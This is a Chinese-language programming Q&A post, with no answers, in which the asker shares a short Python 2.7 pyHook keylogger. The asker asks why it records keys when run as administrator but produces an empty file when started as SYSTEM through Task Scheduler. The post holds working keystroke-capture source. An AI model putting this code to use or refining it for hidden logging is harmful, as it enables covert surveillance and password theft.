2

使用Windows 7,Python 2.7,我编写并编译了下面的代码(使用pyinstaller2-0),如果我通过右键单击启动它并选择以管理员身份运行,它工作正常,但是当我通过任务调度程序以系统用户身份启动它时,它不会记录任何键(等待 10 秒后,它只会创建一个空的输出文件)。我在想可能是因为我将它作为另一个帐户运行,它没有连接“正确的键盘”?

import threading
import pyHook
import pythoncom
import time

def OnKeyboardEvent(event):
    global keylog
    keylog.append(chr(event.Ascii))
    return 

class thekeylogger ( threading.Thread ):
    def run ( self ):
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        return      

keylog = []
thekeylogger().start()
time.sleep(10)
keys = "".join(keylog)
output_file = open('c:\\project\\test.txt', 'w')
output_file.write(keys)
output_file.close()
4

0 回答 0